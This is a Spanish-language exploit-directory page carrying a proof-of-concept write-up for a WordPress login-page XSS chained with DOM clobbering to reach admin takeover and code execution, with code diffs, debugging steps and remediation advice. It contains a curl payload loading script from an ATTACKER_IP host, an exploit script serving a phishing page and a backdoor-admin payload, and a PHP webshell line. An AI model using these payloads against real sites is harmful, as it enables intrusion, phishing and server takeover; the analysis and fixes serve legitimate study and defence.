Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-64638 — Exploit de prueba de concepto para CVE-2026-64638: XSS reflejado en el inicio de sesión de WordPress encadenado con DOM clobbering para lograr la apropiación de la cuenta de administrador y la ejecución remota de código. | Kitploit
Herramientas/GitHubGitHub/dungsocool/cve-2026-64638
Herramientas de PhishingAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebDesarrollo de Payloads
GitHubdungsocool/cve-2026-64638

CVE-2026-64638

Exploit de prueba de concepto para CVE-2026-64638: XSS reflejado en el inicio de sesión de WordPress encadenado con DOM clobbering para lograr la apropiación de la cuenta de administrador y la ejecución remota de código.

Ver Repositorio
hace 12 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-64638

XSS Reflejado en la Pantalla de Inicio de Sesión que Conduce a Ejecución de Código PHP — WordPress Core

Software: WordPress Core ≤ 7.0.2 (todas las versiones anteriores a 7.0.3)

CVSS: 8.9 (Alta)

CWE: CWE-79 — Neutralización incorrecta de la entrada durante la generación de la página web

Autenticación requerida: Ninguna (Pre-Auth)

Interacción del usuario: Activa (el administrador necesita hacer clic en 1 enlace)

Impacto: XSS → Toma de control de la cuenta → Ejecución remota de código


1. ¿Qué es esta vulnerabilidad?

WordPress es el sistema de gestión de contenidos más popular del mundo, y representa más del 40% de todos los sitios web en internet. Cada sitio WordPress tiene una página de inicio de sesión en /wp-login.php — este es un endpoint público al que cualquiera puede acceder sin autenticación.

Cuando un usuario introduce un nombre de usuario incorrecto, WordPress muestra un mensaje de error que contiene exactamente el nombre de usuario que el usuario acaba de escribir: "El nombre de usuario X no está registrado en este sitio." El problema radica en que el valor del nombre de usuario se coloca directamente en la respuesta HTML sin pasar por ninguna función de escape — un atacante solo necesita introducir HTML/JavaScript en lugar de un nombre de usuario real, y el código se ejecutará en el navegador.

Esta es una vulnerabilidad de XSS Reflejado — el payload está contenido en la solicitud y el servidor lo refleja idénticamente en el HTML. Lo que la hace peligrosa es que la vulnerabilidad reside en la página de inicio de sesión — un lugar al que los administradores acceden con frecuencia, donde las cookies de sesión del administrador pueden ser robadas.

El equipo de investigación descubrió además que este XSS puede encadenarse con una vulnerabilidad de DOM clobbering en el emoji-loader de WordPress, lo que permite cargar JavaScript desde un servidor externo. A partir de ahí, un atacante puede crear una nueva cuenta de administrador → instalar un plugin que contenga un webshell → ejecutar código PHP en el servidor. Esta cadena de explotación se conoce como XSS2Shell.

2. Explicación de la terminología

DOM Clobbering y emoji-loader

WordPress carga el soporte de emojis en cada página (incluida la página de inicio de sesión) mediante el archivo emoji-loader.js. Este script lee la configuración de un elemento con id="wp-emoji-settings":

root@kitploit:~
// Before patch (vulnerable)
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

document.getElementById() devuelve el primer elemento del DOM con un id coincidente. Si un atacante inyecta un <div id="wp-emoji-settings"> antes de la etiqueta de script original, getElementById leerá el contenido del atacante en lugar de la configuración real. Esta técnica se denomina DOM clobbering — sobrescribir el comportamiento de JavaScript mediante la inyección de elementos HTML.

La configuración de emojis contiene una URL para cargar un archivo JavaScript (concatemoji). El atacante controla esta URL → carga un archivo JS desde un servidor externo → ejecuta código arbitrario dentro del contexto del navegador.

De XSS a RCE en WordPress

Una vez que se logra la ejecución de JavaScript dentro del contexto del administrador, el atacante tiene privilegios completos de administrador de WordPress:

  1. Crear una nueva cuenta de administrador — llamar a /wp-admin/user-new.php con la sesión del administrador
  2. Instalar un plugin que contenga código PHP — subir un plugin mediante /wp-admin/plugin-install.php
  3. Modificar un archivo del tema — insertar una puerta trasera PHP mediante el Editor de Temas

Cualquiera de los 3 métodos anteriores permite ejecutar código PHP en el servidor — es decir, RCE.

3. Análisis del código fuente — Causa raíz

Paso 1: Localizar el sink — Dónde se coloca el nombre de usuario en el HTML

A partir del commit de corrección 0d6d42e en wordpress-develop, identifiqué 3 ubicaciones en el archivo wp-includes/user.php donde el nombre de usuario/correo electrónico se coloca directamente en el mensaje de error:

root@kitploit:~
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php

Ubicación 1 — Línea 189 (el nombre de usuario no existe):

Antes :

root@kitploit:~
// BEFORE (vulnerable):
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    $username      // ← no escaping
)

image.png

Después :

root@kitploit:~
// fixed:
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    esc_html( $username )    // ← escaped
)

Ubicación 2 — Línea 216 (contraseña incorrecta):

Antes :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $username . '</strong>'    // ← no escaping

Después :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'

Ubicación 3 — Línea 299 (contraseña incorrecta para el correo electrónico):

Antes :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $email . '</strong>'    // ← no escaping

Después :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'

Paso 2: Rastrear la fuente — ¿De dónde provienen los datos?

Flujo de datos desde la solicitud POST hasta el mensaje de error:

root@kitploit:~
$_POST['log']                           ← user input from login form
    ↓
wp_signon() [user.php:51]
    $credentials['user_login'] = wp_unslash($_POST['log'])     ← only removes backslashes
    ↓
wp_authenticate($username, $password) [pluggable.php:689]
    $username = sanitize_user($username)     ← strips HTML tags, but has a bypass
    ↓
wp_authenticate_username_password() [user.php:153]
    get_user_by('login', $username)          ← user not found
    ↓
    sprintf('The username <strong>%s</strong>...', $username)   ← XSS!
    ↓
WP_Error → login_header() → wp_admin_notice()
    wp_kses_post(...)     ← filters HTML but allows <div>, <a>,  through
    ↓
HTML response → browser render → JavaScript execute

Paso 3: Dos capas de defensa, puntos débiles y confirmación mediante depuración

WordPress tiene 2 capas de filtrado antes de que el nombre de usuario llegue al HTML:

Capa 1: sanitize_user() — Llama a strip_tags() para eliminar las etiquetas HTML. Sin embargo, strip_tags() de PHP tiene limitaciones conocidas: el formato de etiquetas no estándar puede evadir el filtro.

Capa 2: wp_kses_post() — Permite pasar un subconjunto seguro de HTML, incluidos <div>, <a>, `` con ciertos atributos (pero elimina los manejadores de eventos como onerror, onload). Fundamentalmente: wp_kses_post permite <div id="wp-emoji-settings"> — precisamente el elemento necesario para el DOM clobbering.

El equipo de pwn.ai encontró una forma de evadir ambas capas para inyectar un payload útil. Los detalles técnicos específicos no han sido publicados públicamente.

Depuración con Xdebug — Confirmación del flujo de datos

Para confirmar visualmente que el nombre de usuario va directamente al HTML sin escaparse, usé Xdebug + VS Code para colocar puntos de interrupción en puntos clave de la cadena de ejecución.

Paso 1 — Introducir el payload XSS en el formulario de inicio de sesión:

Accede a http://localhost:8282/wp-login.php, introduce el nombre de usuario como `` y luego haz clic en Log In. Aparece una ventana emergente de alerta — el XSS funciona.

image.png

image.png

Paso 2 — Punto de interrupción en user.php:184 — Donde ocurre el XSS:

Coloca un punto de interrupción en return new WP_Error(...) dentro de la función wp_authenticate_username_password(). Cuando el depurador se detenga, observa:

  • Panel Variables → Locales: $username = "" — payload HTML intacto, sin escapar
  • Panel Superglobals → $_POST: log = "" — confirma que el payload se origina en la entrada del formulario
  • Panel Pila de llamadas: wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php

image.png

El valor $username va desde $_POST['log'] → wp_unslash() → (evade sanitize_user) → sprintf() dentro del mensaje de error en las líneas 186-189 — sin esc_html() en medio. En el laboratorio, se comentó sanitize_user() para simular la evasión descubierta por pwn.ai.

Paso 3 — Punto de interrupción en functions.php:9200 — Salida final:

Coloca un punto de interrupción en echo wp_get_admin_notice( $message, $args ) — esta es la última línea antes de que el HTML se envíe al navegador:

  • Panel Variables → Locales: $message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — el payload reside intacto dentro del mensaje de error HTML
  • La línea 9200 en el laboratorio no tiene wp_kses_post() envolviéndola (parcheada para simular la evasión), por lo que el payload va directamente al navegador

image.png

En WordPress original, esta línea es echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() eliminará el atributo onerror pero permitirá que pase <div id="wp-emoji-settings"> porque <div> está en la lista de permitidos. Este es el vector exacto para el ataque de DOM clobbering.

Paso 4: Segundo commit de corrección — Endurecimiento de emoji-loader

El commit a12c8f5 modifica emoji-loader.js para bloquear el DOM clobbering:

root@kitploit:~
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
    throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);

La corrección cambia 3 cosas:

  1. Usa querySelector('script#...') en lugar de getElementById — solo coincide con etiquetas <script>
  2. Comprueba instanceof HTMLScriptElement — evita el DOM clobbering mediante <div> o ``
  3. Usa .text en lugar de .textContent — .text es una propiedad específica de HTMLScriptElement

Después de la corrección, incluso si un atacante logra inyectar <div id="wp-emoji-settings">, emoji-loader lo ignorará porque no es un elemento <script>.

4. Cadena de ataque — XSS2Shell

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  ATTACKER                                                       │
│  Creates phishing link containing XSS payload                   │
│  POST /wp-login.php with log=<div id="wp-emoji-settings">       │
│  {"source":{"concatemoji":"https://evil.com/rce.js"}}           │
└────────────────────────┬────────────────────────────────────────┘
                         │ Sends link to admin (email, chat, etc.)
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ADMIN CLICKS LINK                                              │
│  Browser POSTs to /wp-login.php → server reflects payload       │
│  → <div id="wp-emoji-settings"> appears in HTML                 │
└────────────────────────┬────────────────────────────────────────┘
                         │ emoji-loader.js executes
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  DOM CLOBBERING                                                 │
│  getElementById('wp-emoji-settings') → returns attacker div     │
│  JSON.parse(div.textContent) → reads fake configuration         │
│  Loads script from https://evil.com/rce.js                      │
└────────────────────────┬────────────────────────────────────────┘
                         │ JS executes in admin context
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ACCOUNT TAKEOVER + RCE                                         │
│  1. Fetch /wp-admin/user-new.php → get nonce                    │
│  2. POST create new admin account (backdoor)                    │
│  3. Login using backdoor account                                │
│  4. Install plugin containing PHP webshell                      │
│  5. Call webshell → RCE on server                               │
└─────────────────────────────────────────────────────────────────┘

5. POC — Reproducción en laboratorio

5.1 Comprobar el endpoint — XSS básico

Accede a http://localhost:8282/wp-login.php, introduce:

  • Usuario: ``
  • Contraseña: arbitraria

Haz clic en Log In. Si aparece una ventana emergente de alerta que muestra "localhost" → el XSS funciona.

Resultado — payload reflejado intacto en el HTML:

image.png

5.2 DOM Clobbering — Inyectar ajustes de emoji falsos

Payload más complejo — inyectar un <div> con id="wp-emoji-settings" que contenga JSON que apunte al archivo JS del atacante:

image.png

root@kitploit:~
# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'

curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
  --data-urlencode "log=${PAYLOAD}" \
  -d '&pwd=test&wp-submit=Log+In&testcookie=1' \
  | grep "wp-emoji-settings"

Si la salida HTML contiene <div id="wp-emoji-settings"> con el JSON del atacante → emoji-loader cargará el JS desde el servidor del atacante.

5.3 Cadena completa — XSS2Shell con exploit.py

Paso 1: Ejecutar el servidor de explotación

root@kitploit:~
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999

El script exploit.py sirve 2 cosas:

  • http://127.0.0.1:9999/phish.html — página de phishing que suplanta a la Actualización de Seguridad de WordPress
  • http://127.0.0.1:9999/evil.js — payload JS que crea una cuenta de administrador de puerta trasera

Paso 2: El administrador hace clic en el enlace de phishing

El atacante envía el enlace http://127.0.0.1:9999/phish.html al administrador por correo electrónico/chat. Cuando el administrador hace clic:

  1. La página de phishing hace un auto-POST a /wp-login.php con un nombre de usuario que contiene el payload XSS
  2. La página de inicio de sesión se renderiza → <div id="wp-emoji-settings"> aparece en el HTML
  3. emoji-loader.js lee el div falso → carga evil.js desde el servidor del atacante
  4. evil.js se ejecuta en el navegador del administrador → obtiene /wp-admin/user-new.php para conseguir el nonce → crea la cuenta backdoor_xss2shell / Pwn3d!XSS2Shell

image.png

Todo el proceso ocurre automáticamente; el administrador solo ve la página de inicio de sesión normal con el error de "nombre de usuario no encontrado".

Paso 3: El atacante inicia sesión y sube el webshell

En el laboratorio, el administrador ya había iniciado sesión con admin / admin123, por lo que evil.js se ejecutó de inmediato. Después de obtener acceso a la cuenta, subí inmediatamente un webshell mediante un Plugin:

image.png

root@kitploit:~
<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

Paso 4: RCE — ejecutar comandos en el servidor

image.png

image.png

La salida devolvió www-data — el atacante ahora tiene privilegios de ejecución de comandos en el servidor.

6. Severidad e impacto

Impacto en el mundo real

  • Afecta a todas las versiones de WordPress anteriores a 7.0.3
  • El endpoint /wp-login.php siempre es público y no se puede ocultar (salvo usando plugins para cambiar la URL de inicio de sesión)
  • La página de inicio de sesión es un objetivo natural de phishing — los administradores están acostumbrados a hacer clic en enlaces hacia páginas de inicio de sesión
  • La cadena de explotación XSS → DOM Clobbering → Toma de control del administrador → RCE no requiere condiciones especiales más allá de 1 clic del administrador
  • Incluso sin encadenar hasta RCE, el XSS en la página de inicio de sesión permite robar cookies de sesión (si HttpOnly no está configurado correctamente) o credenciales mediante phishing

7. Remediación

Corregido en WordPress 7.0.3

Corrección 1 — Escapar la salida (user.php):

root@kitploit:~
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )

Corrección 2 — Endurecer emoji-loader (emoji-loader.js):

root@kitploit:~
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
    throw new Error('Element missing');
}

Corrección 3 — Escapar la URL (wp-login.php):

root@kitploit:~
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )

Qué deben hacer los administradores de WordPress

  1. Actualizar a WordPress 7.0.3 inmediatamente — el parche se publicó el 08/06/2026
  2. Si se usa una versión anterior (6.x, 5.x, 4.7+), WordPress ha aplicado un backport de la corrección
  3. Revisar los registros de acceso: buscar solicitudes POST a /wp-login.php con payload HTML en el parámetro log
  4. Considerar usar reglas WAF para bloquear etiquetas HTML en los campos del formulario de inicio de sesión
  5. Revisar la lista de usuarios administradores — si se encuentran cuentas desconocidas, el sitio puede haber sido comprometido

Lecciones para desarrolladores

  1. Siempre escapar la salida, no confiar únicamente en sanitizar la entrada. sanitize_user() está diseñado para normalizar nombres de usuario, no para prevenir XSS. Defensa en profundidad: escapar en el punto de salida (esc_html, esc_attr, esc_url) es la capa de defensa final y más crítica.
  2. No usar getElementById para datos sensibles a la seguridad. El DOM clobbering puede inyectar un elemento falso con el mismo id. Usar querySelector con el nombre de etiqueta específico + comprobación instanceof.
  3. wp_kses_post no es un filtro XSS. Está diseñado para permitir HTML seguro en el contenido de las entradas — no para bloquear XSS en otros contextos. Cada contexto requiere su función de escape dedicada.
Descargar herramienta
AtributoValor
ID CVECVE-2026-64638
Puntuación CVSS8.9 (Alta)
SoftwareWordPress Core ≤ 7.0.2
AutenticaciónNo requerida (Pre-Auth)
Interacción del usuarioRequiere 1 clic (el administrador hace clic en el enlace)
Complejidad del ataqueAlta
ParcheadoWordPress 7.0.3 (08/06/2026)
Reportado porequipo pwn.ai vía HackerOne
Informe HackerOne#3877102
Métrica CVSSValorRazón
Vector de ataqueRedVía HTTP, enviando el enlace a la víctima
Complejidad del ataqueAltaRequiere evadir sanitize_user() + wp_kses_post(), requiere clic de la víctima
Privilegios requeridosNingunoEl endpoint de inicio de sesión no requiere autenticación
Interacción del usuarioActivaEl administrador debe hacer clic en el enlace de phishing
ConfidencialidadAltaLeer cookies, sesión, contenidos del panel de administración
IntegridadAltaCrear cuenta de administrador, instalar plugin, modificar archivos
DisponibilidadAltaRCE → control total del servidor